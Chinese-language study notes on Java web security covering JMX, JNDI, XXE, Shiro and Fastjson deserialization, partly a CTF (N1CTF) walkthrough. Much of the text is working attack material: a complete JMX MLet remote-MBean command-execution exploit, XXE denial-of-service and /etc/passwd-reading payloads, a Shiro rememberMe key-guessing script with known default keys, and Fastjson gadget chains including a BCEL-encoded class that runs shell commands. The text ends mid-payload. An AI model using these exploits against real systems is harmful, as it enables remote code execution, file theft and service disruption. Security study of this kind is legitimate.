跟着Y4tacker学java
(持续跟新)
Y4tacker/JavaSec: a rep for documenting my study, may be from 0 to 0.1 (github.com)
基础知识
JMX
java管理扩展,用来管理和检测java程序,最常用到的就是对于JVM的监测和管理,比如JVM内存、CPU使用率、线程数、垃圾收集情况等等,最主要还是被用来做各种监控工具
MBeanServer负责管理MBean,所有的MBean都要注册到MBeanServer上
通过ManagementFactory.getPlatformMBeanServer()
获取当前JVM
内的MBeanServer
JMX RMI攻击
攻击者可以远程注入一个恶意的MBean,再去调用里面的用于执行命令的方法
前提条件:
- 允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)
- 能够远程注册 MBean (javax.management.loading.MLet)
EvilMBean.java:
/**
* 定义MBean接口和用来执行命令的方法
*/
public interface EvilMBean {
public String runCommand(String cmd);
}
Evil.java: (接口类名去掉MBean后缀)
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
* 类名要与实现的接口的前缀一样
*/
public class Evil implements EvilMBean {
public String runCommand(String cmd) {
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null) {
stdout_err_data += s + "\n";
}
while ((s = stdError.readLine()) != null) {
stdout_err_data += s + "\n";
}
proc.waitFor();
return stdout_err_data;
} catch (Exception e) {
return e.toString();
}
}
}
将上述两个java文件编译后打包成jar包:
jar -cvf compromise.jar EvilMBean.class Evil.class
注意打包的java版本,这会有版本问题,1.8.131 打包的在 1.7.80 用不了。
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;
/**
* Created by k1n9 on 2017/8/23.
*/
public class RemoteMbean {
private static String JARNAME = "compromise.jar";
private static String OBJECTNAME = "MLetCompromise:name=evil,id=1";
private static String EVILCLASS = "Evil";
public static void main(String[] args) {
try {
//开启Http服务,提供带mlet标签的html和恶意MBean的jar包
HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
server.createContext("/mlet", new MLetHandler());
server.createContext("/" + JARNAME, new JarHandler());
server.setExecutor(null);
server.start();
//这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
connectAndOwn("10.18.224.59", "2333", "id");
server.stop(0);
} catch (IOException e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) {
try {
//建立连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u, null);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
ObjectInstance evil_bean = null;
try {
evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
} catch (Exception e) {
evil_bean = null;
}
if (evil_bean == null) {
System.out.println("Trying to create bean...");
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
System.out.println("Loaded " + evil.getClassName());
//调用 getMBeansFromURL 从远程服务器获取 MBean
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
new String[] {String.class.getName()}
);
HashSet res_set = (HashSet)res;
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
}
//调用恶意 MBean 中用于执行命令的函数
System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
} catch (Exception e) {
e.printStackTrace();
}
}
static class MLetHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
/**
* mlet 标签
* <MLET
* CODE = class | OBJECT = serfile
* ARCHIVE = "archiveList"
* [CODEBASE = codebaseURL]
* [NAME = mbeanname]
* [VERSION = version]
* >
* [arglist]
* </MLET>
*/
String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
System.out.println("Sending mlet: " + respone + "\n");
t.sendResponseHeaders(200, respone.length());
OutputStream os = t.getResponseBody();
os.write(respone.getBytes());
os.close();
}
}
static class JarHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
System.out.println("Request made for JAR...");
//这里的 compromise.jar 可以根据实际的路径来修改
File file = new File("/Users/k1n9/Workspace/Java/compromise.jar");
byte[] bytearray = new byte[(int)file.length()];
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray, 0 , bytearray.length);
t.sendResponseHeaders(200, file.length());
OutputStream os = t.getResponseBody();
os.write(bytearray, 0, bytearray.length);
os.close();
}
}
}
就带过吧,不知道有什么用
JNDI注入
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
java Naming
java Directory
ObjectFactory
JNDI注入的问题就是出在可远程下载自定义的ObjectFactory类
Reference
对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
几个比较关键的属性:
- className:远程加载时所使用的类名;
- classFactory:加载的class中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
类字节码
利用javassist生成字节码 (都是代码,就不放上来了)
java中的XXE
内部实体与外部实体
这个概念还算比较重要故此特地记录一下
内部实体:如果一个实体是在DTD中声明的,它就被称为内部实体。 例如:<!ENTITY entity_name "entity_value">
外部实体:如果一个实体在DTD之外被声明,那么它就被称为外部实体,由SYSTEM标识。 例如:<!ENTITY entity_name SYSTEM "entity_value">
DOS攻击
构造恶意XML文件耗尽可用内存
<!DOCTYPE data SYSTEM "http://vps/dos.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&tea;</data>
<!ENTITY % a0 "dos" >
<!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;">
<!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;">
<!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;">
<!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;">
<!ENTITY tea "%a4;" >
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>
绕过waf
可能支持的协议有http/https/ftp/file/jar/netdoc/mailto/gopher
等但是不同版本支持的协议不一致,具体可以在具体java版本下的sun.net.www.protocol
包下看到,这里不多讲了
编码绕过
比如使用utf7
<?xml version="1.0" encoding="utf-7" ?>
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
可能造成XXE的组件及修复
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
先实例化组件
//DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
//SAXBuilder sb = new SAXBuilder();
//禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //首选
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //防止外部实体POC
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //防止参数实体POC
SPI
全称为Service Provider Interface,是一种服务发现机制。
通过在ClassPath路径下的META-INF/services
文件夹查找文件,自动加载文件里所定义的类
不知道哪出了问题,尝试不成功,只能拿大佬的图
package com.yyds;
public interface SPIService {
void execute();
}
package com.yyds;
public class SpiImpl implements SPIService{
public void execute() {
System.out.println("SpiImpl 已经执行");
}
}
在ClassPath路径下的resources中添加一个文件夹(即图中META-INF/services)
再建文件名为包名+类名 内容为要执行的类的包名+类名
我们有两种方式可以实现,一种是通过ServiceLoad.load()
方法,由java.util
包提供
另一种是通过Service.providers
方法拿到实现类的实例,由sum.misc.Service
提供
package com.yyds;
import sun.misc.Service;
import java.util.Iterator;
import java.util.ServiceLoader;
public class Test {
public static void main(String[] args) {
Iterator<SPIService> providers = Service.providers(SPIService.class);
ServiceLoader<SPIService> load = ServiceLoader.load(SPIService.class);
while(providers.hasNext()) {
SPIService ser = providers.next();
ser.execute();
}
System.out.println("--------------------------------");
Iterator<SPIService> iterator = load.iterator();
while(iterator.hasNext()) {
SPIService ser = iterator.next();
ser.execute();
}
}
}
存在安全问题
写一个恶意类,导致命令执行
tomcat中容器的pipeline机制
tomcat由Connector和Container两部分组成,有四种Container实现类,分别是StandardEngine、StandardHost、StandardContext、SrandardWrapper
请求到达Engine
容器时,先调用了自己的一个组件去处理,这个组件是pipeline
,相关的还有个容器内部的组件叫做value
组件
pipeline 管道 value 阀门
first
指向的是容器第一个非基础阀门的阀门,first
在只有一个基础阀的时候并不会指向基础阀,因为如果指向基础阀的话就不需要判断非空然后返回基础阀了,这是个需要注意的点!
类加载隔离方法
类隔离技术
举例:
A、B两个jar包分别依赖了C的v1和v2版本,v2版本的Log类比v1版本新增了error方法,现在工程里面同时引入A和B两个jar包,以及C的v1和v2版本,打包时maven只能选择一个版本
默认情况下同一个项目的所有类都是用同一个类加载器加载的,所以不管你依赖了多少个版本的C,最终只会加载一个版本到JVM
中
要是选择v1
版本,当B去访问Log.error
方法时就会抛出异常java.lang.NoSuchMethodError
类冲突的问题若是向下兼容,把低版本排除即可,但若不向下兼容就陷入两难境地了
有人提出了类隔离技术来解决类冲突的问题
就是让每个模块使用独立的类加载器来加载
实现类隔离
重写findClass
重写findClass会受到双亲委派机制的影响、不符合类隔离的目标
重写loadClass
反射修改final修饰的变量
modifiers实际就是一个int类型的26
,并且每个修饰符都有一个int的值,比如private是2
,static是8
,final是16
那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,而图中取反然后按位与操作就是这一步骤
package com.yyds;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class TestReflection {
public static final String test = "abc";
public static void main(String[] args) throws Exception{
TestReflection testReflection = new TestReflection();
Field test = testReflection.getClass().getDeclaredField("test");
Field modifier = test.getClass().getDeclaredField("modifiers");
modifier.setAccessible(true);
modifier.setInt(test,test.getModifiers() & ~Modifier.FINAL);
test.set(testReflection,"success");
System.out.println(test.get(testReflection));
}
}
基础链条
CC1-CC7
shiro550 shiro 721
1.2.4版本之前,固定key(kPH+bIxk5D2deZiIxcaaaA==)加密
1.2.4以上的版本如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。
shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
import base64
import uuid
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)
RMI
服务端 客户端 注册中心
xx打xx的多个方式(实际上就是在读代码)
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
实现该接口的类要继承 UnicastRemoteObject
如果不能继承 UnicastRemoteObject 就需要手工导出
UnicastRemoteObject.exportObject(this, 0);
继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架)
JNDI
new Reference()
new InitialContext()
fastjson
toJSONString() 调用getter
parse() 调用setter
parseObject() 既有parse 又有toJSON 所以 调用 setter和getter
getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
setter自动调用需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 以set开头且第四个字母为大写
- 参数个数为1个
没有指定@type的,无论是parse还是parseObject都无法调用setter
Fastjson的一些其它功能点就是在为类属性调用getter/setter时会调用smartMatch()
忽略掉_ -
字符串
1.2.24
TemplatesImpl链
- fastjson反序列化时需有
Feature.SupportNonPublicField
参数 _bytecodes[]
需进行base64编码_bytecodes[]
中加载的类需为AbstractTranslet
的子类_name
不为null_tfactory
不为null- payload中记得带
"_outputProperties":{ }
,毕竟要调用getoutputProperties
- bytesValue对_bytecodes进行解码
JdbcRowSetImpl链
…….
后面的就是自己看文章的随便记录,太难了。。。。。
FastJSON调用getter常用两种方式,1、$ref,2、JSONObject。
$ref:>=1.2.36
JSONObject:<=1.2.36
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$....."}}:{}}}
1.2.25-1.2.47都行,若不行,说明版本在1.2.25-1.2.32之间
要想使用$ref赋值,则不能使用JSONObject调用getter,因为在parse时就会调用到getter方法,无法等到处理完$ref的任务后再调用getter
$ref要想在低版本(<=1.2.36)调用getter,要进行绕过
小于1.2.36 $ref调用getter
#恶意类放入mapping
[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},]
#调用getter
[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$....."},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}]
源码分析,只能说每一步都是细节
通过N1CTF了解做题顺序,以及后续操作
普通Tomcat项目的JSON.parse,题目改成了SpringBoot fastJsonHttpMessageConverters。
路径故意报错,看后端框架为springboot
指定@type
@type提交后发现后端产生了异常,而将@type放到value时不会产生异常,能够知道是因为设置了期望类导致type not match的原因,能够想到是SpringBoot常用FastJSON HttpMessageConverters方式。
返回正常说明fastjson版本<1.2.48
改为www.baidu.com
报错说明不存在DNS配置或不出网
然后去找是否存在RCE的利用类
{
"a":{
"@type":"java.lang.Class",
"val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"b":{
"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"username":"a",
"password":"b"
}
org.apache.tomcat.dbcp.dbcp.BasicDataSource
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
org.apache.ibatis.datasource.unpooled.UnpooledDataSource (mybatis)
发现是mybatis,直接
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$....."}}:{}}}
一般就可以了
这题的后续操作
但这里报错,说明版本在1.2.25 - 1.2.32
然后就是上面的$ref在低版本绕过调用getter
把数组放在value的位置
记得先放入mapping
{"x":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}],"username":"a","password":"b"}
然后报错
SpringBoot fastJsonHttpMessageConverters进行JSON.parse的时候会默认设置期望类为路由参数里对应的类,也就是期望类为com.n1ctf.oldfastjson.User
导致了Root context变为了com.n1ctf.oldfastjson.User对象,因为x并不是User的Field
,会被设置为null,导致了之前构造payload里面的各种引用都需要更改
package com.n1ctf.oldfastjson;
public class User {
private String username;
private String password;
private Object friend;
。。。
}
friend属性的类型为Object,所以用他进行反序列化
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil {
public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);
m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);
m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);
m = request.getClass().getMethod("getParameter", String.class);
String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
// 读取f111111ag.txt的内容
// InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
// output = new Scanner(inputStream).useDelimiter("\\A").next();
m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
}
{"a":[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},],"username":"asd","password":"asd"}
{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bW$hU$U$fe$86$5c$ce0$9d$96$Q$a0eZ$LE$a9$N$F$82$d6kC$c5$om$z$g$$$S$E$91z$99L$O$c9$c0d$86$ce$85$e2$b5$5e$ea$fd$5e$9f$fd$F$3e$f9$92$b6$ba$ea$ea$83k$e9$f2$c1W$97$P$fa$e2$8b$fe$Ju$9f$5c$m$90$d4$5cN$ce$f9$f6$3e$7b$ef$f3$ed$7dv$e6$e7$7f$be$fd$k$c0$fd$f8RA$x$kWp$k$93bxB$c6$93$K$d2$98$921$cd0$a3$80a$96$e1$v$Fs$c8$I$cdy$ZO$LpA$c6$a2$8cg$Y$96d$9c$90$f1$ac$8ce$Z$X$Y$9eS$f0$3c$5e$Q$c3$8b$Ktd$Vt$c1$90$91$T$bf$5c$M$x2$f2$M$F$F$3d0$c5$b0$w$865$GKB$f4$94i$9b$fe$98$84Pb$60ABx$c2$c9q$Jmi$d3$e6$d3A1$cb$ddy$3dk$R$SO$3b$86n$z$e8$ae$v$d6U0$ec$XL$8fl$a4$cfn$98$d6$a8$84N$97_$M$b8$e7O8$b6$cf7$fd$f3$8e$95$e3$ae$84$f6$f4$aa$be$a1$8fX$ba$9d$l$99$b0t$cf$pU$a9$u$e1$60$j$ee$f2$V$8b$h$fe$c8$U$f7$LN$8e$UBNvU$b8$ddV$99$c9$ae$92$G$89X$d5$8d$E$d9$e5$de$bac$7b$UK$c8$u$e6v$eag$7c$d7$b4$f3$a4$l$s$R$85$d9$b1$dcL$Yu$C$7f$3d$m$5b$7b$d6$J$f1$X$5d$d3$X1wUtMgdv$h$s$f5$bd$Z_7$d6$a6$f4$f52$FD$n$r$8c$a1H$e9$a2$b4HP$cen$g$7c$dd7$v$s$G$9b$c1aXg$b8$c8$40$s$95$8c$T$b8$G$3fg$K$eaZ$FeI$e1C$c5$5d$e8g$f0T$f8$ITl$e0$92$84S$8e$9bOz$o$a0$fc$8a$ab$X$f9$r$c7$5dK$5e$e2$d9$a4Qa6Ye$m9$d7$84p$86M$V$_$e1e$caG$9e$fbU$8dq$9f$O$9c$N$7cND$b4$edJ$87$8aW$f0$aa$84$d8n$aa$e9$5c$w$5e$c3$eb$w$$$e3$N$8a$7f$db$9a$8a7$c5$8e$3de$a4$96$B$95V$b3$ba$I$b7$cc$60l7$d9$SZLJQ$8bW$a0a$d8$a0$ba$uk$E$bei$8dd$M$dd$b6E$e8o$a9x$hWT$bc$83w$Z$deS$f1$3e$3e$Q$E$7dH$5b$$$8c$ab$f8$I$l$ab$f8$E$9f$S$81$e4$ad$96$ac$8e$s$b9R$f1$Z$3eW$f1$F$faU$5cE$3fU$81$60$5cB$f7$edj$ae$ce$cc$e4$ccV$g$r$i$d9$c5$d6$b4$e3$9fs$C$3bW$a7$d2$bb$ad2$edd$C$a3P$b1X$a71$d8$e8u$d2$de$a0$x$r$c4$f3$baK$87i$eer$d2$b2x$5e$b7$c6$N$83$7b$5e$9dJ$j$bb$f3$F$97$eb$U$fe$5e$pp$5dn$fb$b5ugb$m$bd$5b$8b$w$b8$8b$7cU$eb$a5$7c$9e$b4$a3$97o$a9$b6C$bdN$q$f64$VP$S$y$9a$94$R$JG$T$8d$d7$ab$c1$o$d9j$t$ffg$b8a$e9$$$cf$d5$98$3f$ddd$efr$c3$de$81$ff$eb$XQ$93$f8$5c$a32$3c$99h$ec$Z$cb$8d$d0$40$b3$ce$o$Ln$w$c7$e9h$a4c$b4Ru$b5$a0$db$b7$c5s$81$ed$9bE$5e$bd$p$b5E$d7$O$TUX$f4$p$be$c9$a9$fc$T$89$s$N$a9$7e$c7$ac$eb$88$ac$8f$eepU$F$r$ec$pW$936$b5$$$da$c9uj$a7$Hj$eeD$Fo$Lh$7bw$a2$a9$404$7c5$f0$f8$Zn$99$c5$caM$3av$fb$q$d6$dfSq$I$9b$Khw$91muUVn$a6$96$zHhb$91$iGV$ac$40t$82$88a9$kG$l$ee$a4$7f$3a$f1$a2$ff$G$d1$R$d1$82$a3$b4$f8$jQ$u$84$fe$7d$fc$g$a4$ebh$v$n$U$P$97$QI$P$c6$a3$a1$9b$60$r$c8SC$S$cdZKP$a6$87K$d8$TW$x$f8$de$a9$a1$e1$w$9e$K$97$F$fb$g$F$R$z$y$qma$92$y$85$e2$b1LY$ac$85i$ddJ$ebvZ$x$b7$QKE$b5$e8$8f$60$f1x$w$g$bd$89$YI$3a2K$e1xgf$v$a2E3$v$f6$j$ba$96$aec$bfF$d6$P$94$d0$7d$NZ$fc$60$J$87J$b8$p$rk$R$e1$e1$f0$96o$zRu$7e$L$3d$a9V$adU$93K$e8$d5$I8$o$86$beo$e8$b0$n$dcM$e3$i$3ai$dc$870b$f4$8e$e3$Q$3a$88$92$$$dc$87$fd$YC7$3d0hX$qt$N$87$a9A$f7$e0$Kz$a9$5d$f6$e1$x$a2$f2$G$R$f8$Ti$ffJ$96$fe$c01$fc$89$E$fe$c2q$9a$B$x$VB$J$Z$a0$df$Y$7e$p$7c$90H$3f$84_0$84$e12$f1$3f$m$89$R$8ac$M_$e3$k$9a$85$c9$d3U$dcK$b3$I$f9Z$c5$J$8a$oJ$9e$d2$f44$f3$A$3d$9a$dc$m$ad$H$J$93$c9c$i$P$e1aJ$e6I$b2$de$D$e9_$K$8a1$a4$YF$ZN1$3cR$fb$8c$91$fcQ$fa$aad$f34$c6$f1$Y$sp$86$e28KX$L$ce$fd$H$b6$d8$a1$99$$$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}
相比之前的数组,在原来的基础上添加了.friend
"driverClassLoader":{"$ref":"$.friend[1]"},
"driver":{"$ref":"$.friend.connection"}
jar命令查看jar包里的文件
然后把脚本的注释部分(读取f1111ag.txt)去掉注释,再来一遍即可
使用JSONObject调用getter
关键是设置"$ref": ".."
{"friend":{ "@type": "com.alibaba.fastjson.JSONObject","name": {"@type": "java.lang.Class","val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"}},"x":{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","x": {"x":{{"@type": "com.alibaba.fastjson.JSONObject","c": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader": {"$ref": ".." 